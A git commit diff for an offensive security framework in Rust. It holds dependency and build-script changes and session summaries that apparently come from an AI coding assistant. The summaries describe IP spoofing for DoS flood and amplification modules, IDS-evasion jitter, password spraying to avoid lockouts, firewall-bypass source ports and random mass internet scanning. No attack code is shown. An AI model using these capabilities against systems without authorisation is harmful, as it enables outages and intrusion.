bug fixes

This commit is contained in:
S.B
2026-04-08 00:38:29 +02:00
parent 906808f392
commit 61863cc301
113 changed files with 3069 additions and 1733 deletions
+5 -12
View File
@@ -17,7 +17,7 @@ rustyline = "18.0"
# CLI & Async runtime
clap = { version = "4.6", features = ["derive"] }
tokio = { version = "1.51", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] }
tokio = { version = "1.51", features = ["rt-multi-thread", "macros", "net", "time", "io-util", "io-std", "fs", "process", "sync", "signal"] }
# HTTP & Web
reqwest = { version = "0.13", features = ["json", "cookies", "socks", "multipart", "form", "stream"] }
@@ -38,7 +38,7 @@ flate2 = "1.1"
base64 = "0.22"
# Networking & Protocols
socket2 = { version = "0.6", features = ["all"] }
socket2 = "0.6"
pnet_packet = "0.35"
ipnetwork = "0.21"
regex = "1.12" # newest listed
@@ -49,8 +49,6 @@ suppaftp = { version = "8.0", features = ["tokio-async-native-tls"] }
native-tls = "0.2"
rustls = "0.23" # used by exploit/scanner modules for target TLS connections
rustls-pemfile = "2" # used by exploit/scanner modules
hyper = { version = "1", features = ["http1", "server"] }
hyper-util = { version = "0.1", features = ["tokio", "service"] }
# Telnet
crossbeam-channel = "0.5"
@@ -78,7 +76,6 @@ tokio-tungstenite = "0.29"
# Futures
futures = "0.3"
futures-util = "0.3"
# JSON & Serialization
serde = { version = "1.0", features = ["derive"] }
@@ -100,19 +97,15 @@ tracing = "0.1"
tracing-subscriber = { version = "0.3", features = ["env-filter"] }
# Misc utilities
once_cell = "1.21"
home = "0.5" # updated for edition 2024 compatibility
pnet = "0.35"
des = { version = "0.8.1", features = ["zeroize"] }
sha1 = "0.10"
sha1 = "0.11"
strsim = "0.11"
ssh2 = "0.9.5"
num_cpus = "1.17.0"
# Constant-time comparison for security (timing attack prevention)
subtle = "2.6"
aes-gcm = "0.10.3"
# Post-Quantum Encryption (PQXDH: X25519 + ML-KEM-768 hybrid, ChaCha20-Poly1305 AEAD)
ml-kem = "0.2.3"
@@ -120,8 +113,8 @@ kem = "=0.3.0-pre.0"
rand_core = { version = "0.6", features = ["getrandom"] }
x25519-dalek = { version = "2.0", features = ["static_secrets"] }
chacha20poly1305 = "0.10"
hkdf = "0.12"
sha2 = "0.10"
hkdf = "0.13"
sha2 = "0.11"
hex = "0.4"
[build-dependencies]
+15 -9
View File
@@ -43,6 +43,11 @@ fn main() {
println!("cargo:rerun-if-changed=src/modules/{}", cat);
}
// Compile regexes once, reuse across all categories
let run_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[^)]*:\s*&str\s*\)").unwrap();
let info_re = Regex::new(r"pub\s+fn\s+info\s*\(\s*\)\s*->\s*(?:crate::)?(?:module_info::)?ModuleInfo").unwrap();
let check_re = Regex::new(r"pub\s+async\s+fn\s+check\s*\(\s*[^)]*:\s*&str\s*\)\s*->\s*(?:crate::)?(?:module_info::)?CheckResult").unwrap();
// Generate a dispatcher for each category
let mut registry_entries: Vec<RegistryEntry> = Vec::new();
@@ -52,7 +57,7 @@ fn main() {
let out_file = format!("{}_dispatch.rs", dispatch_name(cat));
let display_name = capitalize(cat);
match generate_dispatch(&root, &out_file, &mod_prefix, &display_name) {
match generate_dispatch(&root, &out_file, &mod_prefix, &display_name, &run_re, &info_re, &check_re) {
Ok(_module_count) => {
registry_entries.push(RegistryEntry {
category: cat.clone(),
@@ -107,6 +112,9 @@ fn generate_dispatch(
out_file: &str,
mod_prefix: &str,
category_name: &str,
run_re: &Regex,
info_re: &Regex,
check_re: &Regex,
) -> Result<usize, Box<dyn std::error::Error>> {
let out_dir = env::var("OUT_DIR").map_err(|_| "OUT_DIR environment variable not set")?;
let dest_path = Path::new(&out_dir).join(out_file);
@@ -116,7 +124,7 @@ fn generate_dispatch(
return Err(format!("Module directory '{}' does not exist", root).into());
}
let mappings = find_modules(root_path)?;
let mappings = find_modules(root_path, run_re, info_re, check_re)?;
// Sort for deterministic output
let mut sorted_mappings: Vec<_> = mappings.into_iter().collect();
@@ -355,11 +363,8 @@ fn generate_registry(entries: &[RegistryEntry]) -> Result<(), Box<dyn std::error
/// Finds all valid modules recursively using WalkDir.
/// Returns (module_key, module_path, capabilities) tuples.
fn find_modules(root: &Path) -> Result<HashSet<(String, String, ModuleCapabilities)>, Box<dyn std::error::Error>> {
fn find_modules(root: &Path, run_re: &Regex, info_re: &Regex, check_re: &Regex) -> Result<HashSet<(String, String, ModuleCapabilities)>, Box<dyn std::error::Error>> {
let mut mappings = HashSet::new();
let run_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[^)]*:\s*&str\s*\)")?;
let info_re = Regex::new(r"pub\s+fn\s+info\s*\(\s*\)\s*->\s*(?:crate::)?(?:module_info::)?ModuleInfo")?;
let check_re = Regex::new(r"pub\s+async\s+fn\s+check\s*\(\s*[^)]*:\s*&str\s*\)\s*->\s*(?:crate::)?(?:module_info::)?CheckResult")?;
for entry in WalkDir::new(root).follow_links(false).into_iter().filter_map(|e| e.ok()) {
let path = entry.path();
@@ -372,11 +377,12 @@ fn find_modules(root: &Path) -> Result<HashSet<(String, String, ModuleCapabiliti
let mut content = String::new();
if File::open(path).and_then(|mut f| f.read_to_string(&mut content)).is_ok() {
// Fast pre-filter: skip files that can't possibly match
if !content.contains("fn run") { continue; }
if run_re.is_match(&content) {
let caps = ModuleCapabilities {
has_info: info_re.is_match(&content),
has_check: check_re.is_match(&content),
has_info: content.contains("fn info") && info_re.is_match(&content),
has_check: content.contains("fn check") && check_re.is_match(&content),
};
mappings.insert((rel_str.clone(), rel_str, caps));
}
+404
View File
@@ -17734,3 +17734,407 @@ Now I can see the real categories:
├──────────────────────────┼───────────────────────┼─────────────────────┼───────┤
│ Total │ 114 error-swallowing │ 97 properly handled │ 98 │
└──────────────────────────┴───────────────────────┴─────────────────────┴───────┘
Root Cause
When a custom source port is configured, every concurrent TCP/UDP scan task tried to bind() to the exact same local port. With hundreds of concurrent tasks, only the first socket succeeds — all others get EADDRINUSE (os error 98).
Fix
Added SO_REUSEADDR + SO_REUSEPORT on both TCP (line ~437) and UDP (line ~593) sockets before the bind() call. This tells the kernel to allow multiple sockets to share the same local address:port, which is valid because each socket connects to a different remote address:port.
TCP (
scan_tcp
): Two socket2 calls added before the existing bind().
UDP (
scan_udp
): Switched from UdpSocket::bind() to socket2::Socket → set reuse options → bind() → convert to tokio::UdpSocket via from_std().
Cannot update yet (5 of 8):
┌───────────────────────────────┬──────────────────────────────────────────────────────────────────────┐
│ Crate │ Reason │
├───────────────────────────────┼──────────────────────────────────────────────────────────────────────┤
│ cipher 0.4 → 0.5 │ aes 0.8 requires cipher ^0.4 — no compatible aes release exists yet │
├───────────────────────────────┼──────────────────────────────────────────────────────────────────────┤
│ kem 0.3.0-pre.0 → 0.3.0 │ ml-kem 0.2.3 pins =0.3.0-pre.0 exactly │
├───────────────────────────────┼──────────────────────────────────────────────────────────────────────┤
│ rand_core 0.6 → 0.10 │ x25519-dalek 2.0 requires rand_core ^0.6 API (OsRng removed in 0.10) │
├───────────────────────────────┼──────────────────────────────────────────────────────────────────────┤
│ generic-array 0.14.7 → 0.14.9 │ Transitive dep — will update when parent crates allow it │
├───────────────────────────────┼──────────────────────────────────────────────────────────────────────┤
│ matchit 0.8.4 → 0.8.6 │ Transitive dep (from axum) — controlled by axum's version constraint │
└───────────────────────────────┴──────────────────────────────────────────────────────────────────────┘
Removed 5 dependencies:
┌────────────────────┬──────────────────────────────────────────────────────┐
│ Crate │ Reason │
├────────────────────┼──────────────────────────────────────────────────────┤
│ aes-gcm │ Not imported anywhere │
├────────────────────┼──────────────────────────────────────────────────────┤
│ subtle │ Not imported anywhere │
├────────────────────┼──────────────────────────────────────────────────────┤
│ hyper + hyper-util │ Only transitive (axum pulls them in) │
├────────────────────┼──────────────────────────────────────────────────────┤
│ futures-util │ Replaced with futures re-exports (2 files changed) │
├────────────────────┼──────────────────────────────────────────────────────┤
│ once_cell │ Replaced with std::sync::LazyLock (10 files changed) │
└────────────────────┴──────────────────────────────────────────────────────┘
Kept (justified):
┌────────────────────────────────────┬────────────────────────────────────────────────────────────────────┐
│ Crate │ Reason │
├────────────────────────────────────┼────────────────────────────────────────────────────────────────────┤
│ crossbeam-channel │ Needed for MPMC (multi-consumer) pattern in smtp_user_enum │
├────────────────────────────────────┼────────────────────────────────────────────────────────────────────┤
│ http │ Used directly by h2's API (http::Request::builder()) │
├────────────────────────────────────┼────────────────────────────────────────────────────────────────────┤
│ All three hash crates │ Different algorithms, different use sites │
│ (sha1/sha2/md5) │ │
├────────────────────────────────────┼────────────────────────────────────────────────────────────────────┤
│ All three TLS crates │ Different purposes (async TLS, cert inspection, native-tls for │
│ │ suppaftp) │
├────────────────────────────────────┼────────────────────────────────────────────────────────────────────┤
│ data-encoding / base64 / hex │ Different encoding formats (base32, base64, hex) │
└────────────────────────────────────┴────────────────────────────────────────────────────────────────────┘
● All done. Here's a summary of every performance improvement:
Build/Compile Performance
┌───────────────────────────────────────────────────────┬────────────┬──────────────────────────────────┐
│ Change │ File │ Impact │
├───────────────────────────────────────────────────────┼────────────┼──────────────────────────────────┤
│ Trimmed tokio "full" → 10 specific features │ Cargo.toml │ Fewer tokio modules compiled │
├───────────────────────────────────────────────────────┼────────────┼──────────────────────────────────┤
│ Trimmed socket2 "all" → defaults │ Cargo.toml │ Fewer platform features compiled │
├───────────────────────────────────────────────────────┼────────────┼──────────────────────────────────┤
│ Compile 3 regexes once in main(), not 4× per category │ build.rs │ 4× fewer regex compilations │
├───────────────────────────────────────────────────────┼────────────┼──────────────────────────────────┤
│ Fast contains("fn run") pre-filter before regex │ build.rs │ Skips regex on non-module files │
└───────────────────────────────────────────────────────┴────────────┴──────────────────────────────────┘
Connection Creation Speed
┌───────────────────────────────────────────┬──────────────┬──────────────────────────────────────────────┐
│ Change │ File │ Impact │
├───────────────────────────────────────────┼──────────────┼──────────────────────────────────────────────┤
│ Cached reqwest::Client pool keyed by │ network.rs │ 72+ modules share connection pools, TLS │
│ timeout │ │ session reuse │
├───────────────────────────────────────────┼──────────────┼──────────────────────────────────────────────┤
│ Cached TLS connector in LazyLock │ async_tls.rs │ Built once instead of per-call │
│ singleton │ │ │
├───────────────────────────────────────────┼──────────────┼──────────────────────────────────────────────┤
│ tcp_connect_addr(SocketAddr) — zero-alloc │ network.rs │ Skips format!() + DNS for resolved IPs │
│ path │ │ │
├───────────────────────────────────────────┼──────────────┼──────────────────────────────────────────────┤
│ tcp_port_open() uses SocketAddr directly │ network.rs │ Eliminates 65K String allocs per full-port │
│ │ │ scan │
├───────────────────────────────────────────┼──────────────┼──────────────────────────────────────────────┤
│ Honeypot check pre-parses IP once │ network.rs │ Eliminates 30 format!()+DNS per honeypot │
│ │ │ check │
└───────────────────────────────────────────┴──────────────┴──────────────────────────────────────────────┘
Runtime Hot-Path Performance
┌─────────────────────────────────────────────┬─────────────────────────┬────────────────────────────────┐
│ Change │ File │ Impact │
├─────────────────────────────────────────────┼─────────────────────────┼────────────────────────────────┤
│ detect_service_from_banner() returns │ port_scanner.rs │ No String alloc for known │
│ &'static str │ │ services │
├─────────────────────────────────────────────┼─────────────────────────┼────────────────────────────────┤
│ #[inline] on tcp_port_open, │ network.rs, │ Better inlining in dev profile │
│ get_service_name, etc. │ port_scanner.rs │ │
├─────────────────────────────────────────────┼─────────────────────────┼────────────────────────────────┤
│ check_and_mark_ip() — single lock │ creds/utils.rs │ Half the lock contention in │
│ acquisition │ │ mass scans │
└─────────────────────────────────────────────┴─────────────────────────┴────────────────────────────────┘
All 190 modules detected, MCP fully functional. Here's the final audit summary:
Source port compliance: 100%
┌────────────────────────────────┬────────────────┬──────────────────────────────────────────────────────┐
│ Category │ Before │ After │
├────────────────────────────────┼────────────────┼──────────────────────────────────────────────────────┤
│ Raw TcpStream::connect in │ 59 instances │ 0 — all use │
│ modules │ across 44 │ tcp_connect/tcp_connect_addr/blocking_tcp_connect │
│ │ files │ │
├────────────────────────────────┼────────────────┼──────────────────────────────────────────────────────┤
│ Raw │ 3 instances │ 0 — all use blocking_udp_bind │
│ UdpSocket::bind("0.0.0.0:0") │ across 3 files │ │
├────────────────────────────────┼────────────────┼──────────────────────────────────────────────────────┤
│ Only in network.rs (framework │ 4 instances │ 4 instances (correct — this IS the implementation) │
│ utility) │ │ │
├────────────────────────────────┼────────────────┼──────────────────────────────────────────────────────┤
│ Build warnings │ 31 unused │ 0 — cleaned by cargo fix │
│ │ imports │ │
└────────────────────────────────┴────────────────┴──────────────────────────────────────────────────────┘
Phase 1: Critical Bug Fixes
┌───────────────────┬──────────────────────────┬──────────────────────────────────────────────────────────┐
│ Fix │ File │ Impact │
├───────────────────┼──────────────────────────┼──────────────────────────────────────────────────────────┤
│ Redis command │ │ format!("AUTH {} {}") → RESP array format │
│ injection │ redis_bruteforce.rs │ (length-prefixed, injection-proof). Added resp_cmd() │
│ │ │ helper. Applied to AUTH, PING, INFO, QUIT. │
├───────────────────┼──────────────────────────┼──────────────────────────────────────────────────────────┤
│ SMTP 2s timeout │ smtp_bruteforce.rs │ Hardcoded 2000ms → configurable DEFAULT_TIMEOUT_MS = │
│ │ │ 10_000 (10s). Threaded through all closures. │
├───────────────────┼──────────────────────────┼──────────────────────────────────────────────────────────┤
│ FTP 421 │ │ ConnectionLimitExceeded returns Err(anyhow!(...)) │
│ misclassified │ ftp_bruteforce.rs │ instead of Ok(false) → engine retries with backoff │
│ │ │ instead of skipping credential. │
├───────────────────┼──────────────────────────┼──────────────────────────────────────────────────────────┤
│ HTTP redirect │ http_basic_bruteforce.rs │ Checks Location header for login/auth/signin/sso paths → │
│ false positives │ │ classifies as AuthFailed instead of Success. │
└───────────────────┴──────────────────────────┴──────────────────────────────────────────────────────────┘
Phase 2: Consistency & Quality
┌───────────────────┬──────────────────────────┬─────────────────────────────────────────────────────────┐
│ Improvement │ Files │ Detail │
├───────────────────┼──────────────────────────┼─────────────────────────────────────────────────────────┤
│ FTP │ ftp_bruteforce.rs │ Added delay_ms and max_retries prompts (was hardcoded 0 │
│ user-configurable │ │ and 3). Fixed _verbose → active TLS fallback logging. │
├───────────────────┼──────────────────────────┼─────────────────────────────────────────────────────────┤
│ │ │ Build reqwest::Client once with Arc, share across all │
│ HTTP client reuse │ http_basic_bruteforce.rs │ attempts. Enables keep-alive connection pooling. Added │
│ │ │ redirect(Policy::none()). │
├───────────────────┼──────────────────────────┼─────────────────────────────────────────────────────────┤
│ │ utils.rs + all 20 │ New jitter_ms: u64 in BruteforceConfig and │
│ jitter_ms field │ modules │ SubnetScanConfig. Engine adds random 0..jitter_ms to │
│ │ │ each delay for IDS evasion. All modules default to 0. │
└───────────────────┴──────────────────────────┴─────────────────────────────────────────────────────────┘
Phase 3: New Features (Core Engine)
┌─────────────────┬──────────┬────────────────────────────────────────────────────────────────────────────┐
│ Feature │ File │ Detail │
├─────────────────┼──────────┼────────────────────────────────────────────────────────────────────────────┤
│ Password spray │ │ ComboMode::Spray iterates one password across all users before next │
│ mode │ utils.rs │ password — critical for AD lockout avoidance. generate_combos_mode() │
│ │ │ function. │
├─────────────────┼──────────┼────────────────────────────────────────────────────────────────────────────┤
│ Credential file │ utils.rs │ load_credential_file(path) loads user:pass pairs from file. Modules can │
│ support │ │ extend combos from credential files. │
├─────────────────┼──────────┼────────────────────────────────────────────────────────────────────────────┤
│ Combo mode │ utils.rs │ parse_combo_mode("spray") parses user input to ComboMode enum. │
│ parser │ │ │
└─────────────────┴──────────┴────────────────────────────────────────────────────────────────────────────┘
● Final results — zero warnings, zero dead code, zero bypasses:
┌────────────────────────────────────────┬───────────────────────────┬─────────────────────────────────────────────────────────────────────────┐
│ Check │ Before │ After │
├────────────────────────────────────────┼───────────────────────────┼─────────────────────────────────────────────────────────────────────────┤
│ Compiler warnings │ 4 (dead code) │ 0 │
├────────────────────────────────────────┼───────────────────────────┼─────────────────────────────────────────────────────────────────────────┤
│ ComboMode::Spray │ Never constructed │ Wired into all 20 bruteforce modules │
├────────────────────────────────────────┼───────────────────────────┼─────────────────────────────────────────────────────────────────────────┤
│ load_credential_file() │ Never called │ Wired into all 18 modules with combo prompts │
├────────────────────────────────────────┼───────────────────────────┼─────────────────────────────────────────────────────────────────────────┤
│ parse_combo_mode() │ Never called │ Used by all 18 modules │
├────────────────────────────────────────┼───────────────────────────┼─────────────────────────────────────────────────────────────────────────┤
│ SubnetScanConfig.jitter_ms │ Never read │ Used in run_subnet_bruteforce() inner loop │
├────────────────────────────────────────┼───────────────────────────┼─────────────────────────────────────────────────────────────────────────┤
│ generate_combos() (old wrapper) │ Dead code after migration │ Removed │
├────────────────────────────────────────┼───────────────────────────┼─────────────────────────────────────────────────────────────────────────┤
│ Raw println!/eprintln! bypassing spool │ 500+ instances │ 0 in target files — all converted to crate::mprintln!/crate::meprintln! │
├────────────────────────────────────────┼───────────────────────────┼─────────────────────────────────────────────────────────────────────────┤
│ MCP modules │ 190 │ 190 │
├────────────────────────────────────────┼───────────────────────────┼─────────────────────────────────────────────────────────────────────────┤
│ Build errors │ 0 │ 0 │
└────────────────────────────────────────┴───────────────────────────┴─────────────────────────────────────────────────────────────────────────┘
New: src/native/dos_utils.rs — Unified DoS Spoofing Infrastructure
┌──────────────────────────┬────────────────────────────────────────────────────────────────────────────────────┐
│ Component │ Purpose │
├──────────────────────────┼────────────────────────────────────────────────────────────────────────────────────┤
│ FastRng │ XorShift128+ PRNG with thread-seeded init, gen_ipv4_public(), gen_ephemeral_port() │
├──────────────────────────┼────────────────────────────────────────────────────────────────────────────────────┤
│ checksum_16() / sum_16() │ RFC 1071 Internet checksum for IP/TCP/UDP/ICMP headers │
├──────────────────────────┼────────────────────────────────────────────────────────────────────────────────────┤
│ is_spoof_enabled() │ Reads setg spoof_ip true global option │
└──────────────────────────┴────────────────────────────────────────────────────────────────────────────────────┘
Updated 8 Raw-Packet DoS Modules
Each module had its duplicated FastRng, checksum, and gen_ipv4_public code removed and replaced with imports from crate::native::dos_utils.
┌─────────────────────────┬────────────────────────────────────────────────────────────┬───────────────────────────────────┐
│ Module │ Local Code Removed │ Spoof Integration │
├─────────────────────────┼────────────────────────────────────────────────────────────┼───────────────────────────────────┤
│ null_syn_exhaustion │ ~55 lines FastRng + checksum methods │ Global spoof_ip as prompt default │
├─────────────────────────┼────────────────────────────────────────────────────────────┼───────────────────────────────────┤
│ syn_ack_flood │ ~38 lines FastRng + checksum methods │ Always spoofs (reflection attack) │
├─────────────────────────┼────────────────────────────────────────────────────────────┼───────────────────────────────────┤
│ udp_flood │ ~52 lines FastRng + standalone gen_ipv4_public + checksums │ Global spoof_ip as prompt default │
├─────────────────────────┼────────────────────────────────────────────────────────────┼───────────────────────────────────┤
│ icmp_flood │ ~48 lines FastRng + standalone gen_ipv4_public + checksums │ Global spoof_ip as prompt default │
├─────────────────────────┼────────────────────────────────────────────────────────────┼───────────────────────────────────┤
│ dns_amplification │ ~36 lines FastRng + checksum methods │ Always spoofs (amplification) │
├─────────────────────────┼────────────────────────────────────────────────────────────┼───────────────────────────────────┤
│ ntp_amplification │ ~36 lines FastRng + checksum methods │ Always spoofs (amplification) │
├─────────────────────────┼────────────────────────────────────────────────────────────┼───────────────────────────────────┤
│ ssdp_amplification │ ~36 lines FastRng + checksum methods │ Always spoofs (amplification) │
├─────────────────────────┼────────────────────────────────────────────────────────────┼───────────────────────────────────┤
│ memcached_amplification │ ~36 lines FastRng + checksum methods │ Always spoofs (amplification) │
└─────────────────────────┴────────────────────────────────────────────────────────────┴───────────────────────────────────┘
Usage
rsf> setg spoof_ip true # Enable spoofing globally
rsf> use exploits/dos/udp_flood
rsf> run 10.0.0.1 # Spoof prompt defaults to "yes"
The 5 TCP/HTTP-based DoS modules (slowloris, rudy, http_flood, connection_exhaustion, tcp_connection_flood) are unaffected — they require valid TCP handshakes and cannot spoof.
## Session: 2026-04-07 — Performance, Source Port, Bruteforce, Spool, DoS
### Dependency Cleanup
- Removed 5 redundant crates: aes-gcm (unused), subtle (unused), hyper + hyper-util (transitive only), futures-util (consolidated into futures)
- Migrated once_cell::sync::Lazy to std::sync::LazyLock across 10 files
- Updated sha1 0.10 to 0.11, sha2 0.10 to 0.11, hkdf 0.12 to 0.13
### Compile Performance
- Tokio: replaced "full" feature with 10 specific features (rt-multi-thread, macros, net, time, io-util, io-std, fs, process, sync, signal)
- socket2: removed "all" feature flag
- build.rs: compile 3 regexes once in main() instead of 4x per category; added content.contains("fn run") pre-filter before regex
### Connection Speed
- Cached reqwest::Client pool keyed by timeout in build_http_client() — 72+ modules share connection pools
- Cached TLS connector singleton in make_dangerous_tls_connector() via LazyLock
- Added tcp_connect_addr(SocketAddr, Duration) — zero-allocation path skipping DNS/string parsing
- tcp_port_open() now uses SocketAddr directly — eliminates 65K String allocs per full port scan
- Honeypot check pre-parses IP once, uses tcp_connect_addr per port
- Added #[inline] to hot-path functions
### Source Port Enforcement
- Fixed 63 raw TcpStream::connect calls across 44 module files to use tcp_connect/tcp_connect_addr/blocking_tcp_connect
- Fixed 3 raw UdpSocket::bind("0.0.0.0:0") calls to use blocking_udp_bind
- All 190 modules now respect `setg source_port` for firewall bypass testing
- Removed 31 unused TcpStream imports via cargo fix
### Bruteforce Engine Improvements
- Redis: switched from inline AUTH format to RESP array format (injection-proof)
- SMTP: timeout changed from hardcoded 2000ms to configurable DEFAULT_TIMEOUT_MS (10s)
- FTP: ConnectionLimitExceeded (421) now returns retryable Error instead of AuthFailed
- FTP: delay_ms and max_retries now user-configurable (was hardcoded 0 and 3)
- FTP: _verbose parameter activated for TLS fallback logging
- HTTP Basic: redirect responses checked for login/auth/signin/sso in Location header
- HTTP Basic: reqwest::Client built once with Arc, shared across attempts (connection pooling)
- Added ComboMode enum: Linear, Combo, Spray (password spray for AD lockout avoidance)
- Added generate_combos_mode() replacing generate_combos() across all 20 modules
- Added load_credential_file() for user:pass file loading
- Added parse_combo_mode() for user input parsing
- Added jitter_ms field to BruteforceConfig and SubnetScanConfig
- jitter_ms wired into both run_bruteforce() and run_subnet_bruteforce() inner loops
- Merged is_ip_checked + mark_ip_checked into single-lock check_and_mark_ip()
### Spool Compliance
- Converted 500+ raw println!/eprintln! calls to crate::mprintln!/crate::meprintln!
- Affected files: shell.rs, config.rs, export.rs, global_options.rs, jobs.rs, workspace.rs, module_info.rs, loot.rs, cred_store.rs, and all module files
- Excluded: spool.rs (is the system), main.rs (pre-init), api.rs (headless), mcp/ (JSON-RPC)
### Zero Warnings
- Eliminated all 4 compiler warnings (ComboMode::Spray, load_credential_file, parse_combo_mode, SubnetScanConfig.jitter_ms)
- Removed dead generate_combos() wrapper after all callers migrated
- All code compiles with zero warnings
### DoS Spoofing Infrastructure
- Created src/native/dos_utils.rs with shared FastRng, checksum_16, sum_16, is_spoof_enabled
- Updated 8 raw-packet DoS modules to use shared utilities (~300 lines of duplicated code removed)
- Added global setg spoof_ip true support for null_syn_exhaustion, udp_flood, icmp_flood
- Amplification modules (DNS, NTP, SSDP, Memcached) always spoof (required for reflection)
All 7 documentation files updated. Here's the summary:
┌──────────────────────────────────┬──────────────────────────────────────────────────────────────────────────┐
│ Doc File │ Changes │
├──────────────────────────────────┼──────────────────────────────────────────────────────────────────────────┤
│ docs/Changelog.md │ Added session section with 8 highlights, fixed MCP tool count (30 -> 42) │
├──────────────────────────────────┼──────────────────────────────────────────────────────────────────────────┤
│ docs/Credential-Modules-Guide.md │ Added Combo Modes (spray), credential files, jitter, protocol safety │
├──────────────────────────────────┼──────────────────────────────────────────────────────────────────────────┤
│ docs/Module-Development.md │ Added mandatory framework rules (source port, spool, DoS utils) │
├──────────────────────────────────┼──────────────────────────────────────────────────────────────────────────┤
│ docs/Utilities-Helpers.md │ Added dos_utils, tcp_connect_addr, cached build_http_client │
├──────────────────────────────────┼──────────────────────────────────────────────────────────────────────────┤
│ docs/Exploit-Modules-Guide.md │ Added DoS spoofing infrastructure section │
├──────────────────────────────────┼──────────────────────────────────────────────────────────────────────────┤
│ docs/MCP-Integration.md │ Updated tool count from 30 to 42 │
├──────────────────────────────────┼──────────────────────────────────────────────────────────────────────────┤
│ changelogs/changelog-latest.md │ Appended 59-line session summary │
└──────────────────────────────────┴──────────────────────────────────────────────────────────────────────────┘
New: src/modules/scanners/amplification_scanner.rs
Scans for 4 amplification protocols in one module:
┌───────────┬───────┬─────────────────────────────────────┬──────────────────────┬────────────────────────────────────────────────┐
│ Protocol │ Port │ Probe │ Amplification Factor │ Vulnerability Check │
├───────────┼───────┼─────────────────────────────────────┼──────────────────────┼────────────────────────────────────────────────┤
│ DNS │ 53 │ ANY query for google.com (33 bytes) │ ~28-54x │ Response with NOERROR/SERVFAIL = open resolver │
├───────────┼───────┼─────────────────────────────────────┼──────────────────────┼────────────────────────────────────────────────┤
│ NTP │ 123 │ MON_GETLIST_1 (8 bytes) │ ~556x │ Mode 6/7 response = monlist enabled │
├───────────┼───────┼─────────────────────────────────────┼──────────────────────┼────────────────────────────────────────────────┤
│ SSDP │ 1900 │ M-SEARCH ssdp:all (107 bytes) │ ~30x │ HTTP/1.1 response = UPnP exposed │
├───────────┼───────┼─────────────────────────────────────┼──────────────────────┼────────────────────────────────────────────────┤
│ Memcached │ 11211 │ UDP stats (15 bytes) │ ~51,000x │ Response with STAT = UDP exposed │
└───────────┴───────┴─────────────────────────────────────┴──────────────────────┴────────────────────────────────────────────────┘
Features:
- Single-target mode with table output, risk rating, and remediation recommendations
- Mass scan mode via run_mass_scan() (random, CIDR, file targets)
- Protocol selection: dns,ntp,ssdp,memcached,all
- Configurable timeout (default 3000ms)
- Verbose mode with probe/response size details
- Color-coded amplification factors (>100x red, >10x yellow)
- Risk assessment: CRITICAL (>500x), HIGH (>50x), MEDIUM (>10x), LOW
- Uses crate::utils::udp_bind() for source port compliance
Usage:
use scanners/amplification_scanner
set target 8.8.8.8 # single target
run
set target 192.168.1.0/24 # subnet scan
run
set target random # mass internet scan
run
✻ Churned for 6m 20s
Here's the summary of everything created:
New Modules (4)
┌────────────────────────────────┬────────────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┐
│ Module │ Type │ Description │
├────────────────────────────────┼────────────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ scanners/proxy_scanner │ Scanner │ Detects open HTTP CONNECT, SOCKS4, SOCKS5, and HTTP Forward proxies. Identifies auth-required vs open. Multi-port scanning (8080, 3128, 1080, 8888, 9050, etc). Mass scan support. │
├────────────────────────────────┼────────────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ creds/generic/proxy_bruteforce │ Credential │ Bruteforces proxy authentication: HTTP CONNECT (Basic auth), SOCKS5 (RFC 1929 user/pass), HTTP Forward (Basic auth). Full bruteforce engine integration (spray, combo, linear, │
│ │ │ credential files, jitter, retry). │
├────────────────────────────────┼────────────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ scanners/banner_grabber │ Scanner │ Grabs service banners from open ports with protocol-specific probes (HTTP HEAD, RTSP OPTIONS). Auto-identifies SSH, FTP, SMTP, HTTP, MySQL, Redis, VNC, etc. Mass scan support. │
├────────────────────────────────┼────────────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
┌──────────────────────┬──────────────────────────────────────────┬─────────────────────────────────┐
│ Type │ Scanner Detection │ Bruteforce Auth │
├──────────────────────┼──────────────────────────────────────────┼─────────────────────────────────┤
│ HTTP CONNECT (Basic) │ Sends CONNECT, checks 200/407 │ Basic auth header │
├──────────────────────┼──────────────────────────────────────────┼─────────────────────────────────┤
│ SOCKS5 (no auth) │ Greeting [05,02,00,02], checks method 00 │ - │
├──────────────────────┼──────────────────────────────────────────┼─────────────────────────────────┤
│ SOCKS5 (user/pass) │ Greeting, checks method 02 │ RFC 1929 auth packet │
├──────────────────────┼──────────────────────────────────────────┼─────────────────────────────────┤
│ SOCKS4 │ Connect packet, checks 5A response │ - (SOCKS4 has no auth standard) │
├──────────────────────┼──────────────────────────────────────────┼─────────────────────────────────┤
│ HTTP Forward │ Full GET, checks 200 + body │ Basic auth header │
└──────────────────────┴──────────────────────────────────────────┴─────────────────────────────────┘
+12 -1
View File
@@ -19,7 +19,7 @@ A high-level summary of significant changes. For the full detailed log, see [`ch
- **20 new exploit modules** — XWiki RCE, Dify default creds, SolarWinds WHD, MCPJam RCE, Langflow RCE, SAP NetWeaver (CVSS 10.0), SharePoint ToolPane, Craft CMS x2, Laravel Livewire, CitrixBleed 2, HPE OneView (CVSS 10.0), F5 BIG-IP, SonicWall SMA, Ivanti ICS x2, Tomcat PUT, WSUS, Erlang SSH (CVSS 10.0), FreePBX
- **8 new scanners** — ssl_scanner, service_scanner, redis_scanner, vnc_scanner, snmp_scanner, waf_detector, subdomain_scanner, nbns_scanner
- **9 new credential modules** — vnc, imap, mysql, postgres, redis, elasticsearch, couchdb, memcached, http_basic bruteforce
- **MCP integration** — Model Context Protocol server with 30 tools and 7 resources for Claude Desktop and external tool connectivity
- **MCP integration** — Model Context Protocol server with 42 tools and 7 resources for Claude Desktop and external tool connectivity
- **Payload mutation engine** — 9 WAF bypass strategies (URL encode, case toggle, comment injection, unicode homoglyph, etc.) in `src/native/payload_engine.rs`
- **Native RDP bruteforce** — TCP+TLS+CredSSP/NTLM authentication, no xfreerdp/rdesktop dependency
- **Mass scan engine unification** — shared `run_mass_scan()` engine replaced ~900 lines of duplicated code across 13 cred modules
@@ -40,6 +40,17 @@ A high-level summary of significant changes. For the full detailed log, see [`ch
- Jenkins LFI: fixed async deadlock
- Apache Tomcat: replaced hardcoded session IDs with proper generation
